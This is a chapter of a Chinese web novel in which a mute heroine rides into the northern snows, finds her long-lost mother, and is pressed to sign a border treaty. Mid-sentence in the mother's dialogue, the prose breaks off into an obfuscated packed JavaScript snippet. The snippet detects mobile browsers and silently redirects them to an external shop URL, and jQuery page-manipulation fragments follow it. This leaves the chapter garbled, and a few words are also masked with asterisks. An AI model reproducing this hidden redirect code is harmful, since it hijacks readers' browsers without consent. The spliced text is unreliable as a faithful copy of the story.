第一百一十五章 雪径寻母

作品:《开局被毒哑,娇娇变大佬

    马蹄踏过官道,沈清沅没有回头。赵峰跟在她身后三步远,几次想开口,最终只把水囊递到她手边。她没接,缰绳一勒,马头转向北境岔路。


    “姑娘,真不带人?”赵峰压低声音,“乌先生那信来得蹊跷,黑风口是北狄旧营,连斥候都不敢靠近。”


    沈清沅从袖中取出两枚银簪,并排放在掌心。一枚刻“沈”,一枚刻“苏”。她盯着看了片刻,收进贴身衣袋,提笔在随身纸板上写:“你回安西,告诉陆衍,若七日内我没消息,烧了惠民药局地窖里的账本。”


    赵峰脸色一变:“那是咱们三年心血!”


    “比命重要?”她反问,笔尖顿了一下,又补一句,“也告诉他,别来找我。”


    赵峰咬牙:“他不会听的。”


    沈清沅没再写什么,催马前行。风渐硬,雪粒打在脸上,像细沙磨皮。她裹紧斗篷,右手始终按在腰间短刃上。乌先生给的狼头玉佩藏在内衬夹层,边缘硌着肋骨,提醒她每一步都踩在刀锋上。


    第三日黄昏,她在驿站换马时,遇见一个卖炭的老汉。老汉蹲在墙角啃干饼,见她走近,突然抬头:“姑娘去黑风口?”


    沈清沅脚步一顿,手已摸上刀柄。


    老汉咧嘴一笑,露出缺了门牙的豁口:“别紧张,乌先生让我在这儿等你。”他从炭筐底层抽出一张羊皮地图,塞进她手里,“烽燧往东三十里,有盏灯。他让你一个人去。”


    沈清沅展开地图,墨迹新鲜,显然是刚画的。一条红线从驿站直指废弃烽燧,末端画了个小圈,旁边注着“子时”。


    “为什么是子时?”她写。


    老汉摇头:“不知道。他只说,月圆夜,灯亮时,去晚了就见不着人了。”


    沈清沅收起地图,翻身上马。老汉在身后喊:“姑娘,北境的雪,埋过活人也埋过**,可别让埋了心啊!”


    她没应声,鞭子一扬,马冲进暮色。身后老汉的炭车吱呀作响,很快被风雪吞没。


    第五日入夜,她抵达烽燧。残垣断壁半埋在雪里,像巨兽的骨架。她下马,牵着缰绳步行,靴子陷进雪窝,每一步都费力。烽燧西侧有条窄径,被雪盖得几乎看不见,她对照地图确认方向,深一脚浅一脚往前走。


    风突然停了。雪落无声,天地间只剩她踩雪的咯吱声。远处一点微光,在漆黑里晃动,像萤火,又像鬼火。


    她停下,从怀中掏出陆衍给的瓷瓶,仰头灌下。药汁苦涩,顺着喉咙烧下去,四肢却渐渐暖起来。她松开缰绳,马识趣地退到树后。她独自朝那点光走去。


    越近,光越清晰——是盏油灯,挂在枯树枝上,灯罩破了个洞,火苗被风吹得东倒西歪。灯下坐着个人,背对她,披着灰鼠皮斗篷,身形瘦削。


    沈清沅站在十步外,呼吸放轻。那人没动,也没回头,只抬起手,将灯芯拨亮了些。


    “来了?”声音沙哑,却熟悉得让她浑身一颤。


    是苏婉。她娘的声音。


    沈清沅没上前,也没出声。那人缓缓转过身,斗篷滑落肩头,露出一张苍白的脸——眉眼与她记忆中分毫不差,只是眼角多了细纹,唇色淡得发灰。


    “清沅。”苏婉轻声唤她,嘴角扯出笑,“长这么高了。”


    沈清沅站着不动,右手摸向银簪。苏婉看见她的动作,笑容淡了些:“怕我?还是怕这是陷阱?”


    “乌先生让你来的?”沈清沅写在纸上,举起来。


    苏婉点头:“他救了我。十年前,皇帝要我死,是北狄太子保下我这条命。”


    “为什么现在才出现?”


    “因为现在你够强了。”苏婉站起身,袖口滑落,露出手腕一道旧疤,“弱的时候见你,只会害你。现在……你能选了。”


    “选什么?”


    苏婉没答,反而向前走了两步。沈清沅后退,簪尖抵住掌心。苏婉停住,叹了口气:“你爹当年摔死皇子,逼我吞金,以为能堵住悠悠众口。可北狄早把证据攥在手里,只等合适时机捅出来。乌先生不是敌人,他是北狄太子的人,太子想用这些换边境十年太平。”


    “所以你是筹码?”


    “曾经是。”苏婉苦笑,“现在我是钥匙。皇帝退位诏盖印那晚,太子就把我的**契烧了。他说,该还的债,该清的账,都该由你们年轻人自己算。”


    沈清沅盯着她袖口——灰布上绣着暗纹,是北狄太子的徽记,一只展翅的鹰。


    “你为他做事?”她写。


    “我为自己活。”苏婉拢了拢袖子,“清沅,仇报完了,下一步呢?守着安西一辈子?还是跟着陆衍回秦岭采药?北狄太子给我看了中原、西域、北狄的商路图,三条线,能养活百万百姓。你比你爹看得远,该知道怎么选。”


    沈清沅没动。风又起了,吹得灯罩啪啪响。苏婉伸手护住火苗,低声道:“乌先生在五里外等你。他手里有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879914|191112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太子亲笔盟书,盖了狼头印。签了,三国十年无战事;不签……”她抬眼,“他就把皇帝弑子的密信散到民间,到时候血流成河,你拦不住。”


    沈清沅攥紧银簪,指节发白。苏婉看着她,忽然伸手,想碰她脸颊。沈清沅侧头避开,苏婉的手僵在半空,慢慢收回。


    “你恨我吧?”苏婉轻声问,“恨我十年不现身,恨我跟北狄人走。”


    沈清沅摇头,在纸上写:“我恨的是没早点找到你。”


    苏婉眼眶一红,别过脸去。片刻后,她从怀中掏出个小布包,递给沈清沅:“你的周岁礼,我缝的。一直带在身边。”


    沈清沅打开,是双虎头鞋,针脚细密,颜色褪得发白。她捏着鞋,没说话。


    “走吧。”苏婉转身,指向黑暗处,“乌先生等你。别让他久等。”


    沈清沅没动:“你跟我回去。”


    苏婉摇头:“我回不去了。身份、名声、性命,早卖给北狄了。你现在看到的,是活人,也是**。”


    “陆衍能治——”


    “治什么?”苏婉打断她,“治我这颗早就烂透的心?清沅,别天真了。我活着,就是北狄的刀;我**,才是你娘。”


    沈清沅上前一步,抓住她手腕:“那就死在我手里。”


    苏婉愣住,随即笑了,眼泪却掉下来:“好啊。等你签完盟书,我亲手把刀递给你。”


    远处传来马嘶声。乌先生骑着黑马,缓步而来。他停在二十步外,没下马,只道:“沈姑娘,时辰到了。”


    沈清沅松开苏婉,走向乌先生。经过他马旁时,乌先生俯身,递来一卷羊皮纸:“太子诚意,你看过便知。”


    她接过,展开扫了一眼——条款清晰,边境互市,药材换马匹,十年不兴兵。末尾盖着狼头印,旁边一行小字:苏婉亲笔担保。


    她合上羊皮纸,抬头看乌先生:“她若少一根头发,我屠尽北狄王帐。”


    乌先生点头:“明白。”


    沈清沅转身,走回苏婉面前,将虎头鞋塞进她手里:“收好。等我来取。”


    苏婉握紧鞋,嘴唇颤了颤,最终只道:“活着回来。”


    沈清沅翻身上马,最后看了她一眼,策马冲进风雪。乌先生跟在她身后,马蹄声渐远。苏婉站在原地,直到灯光熄灭,才慢慢蹲下,把脸埋进虎头鞋里。


    雪越下越大,盖住了脚印,也盖住了那盏孤灯。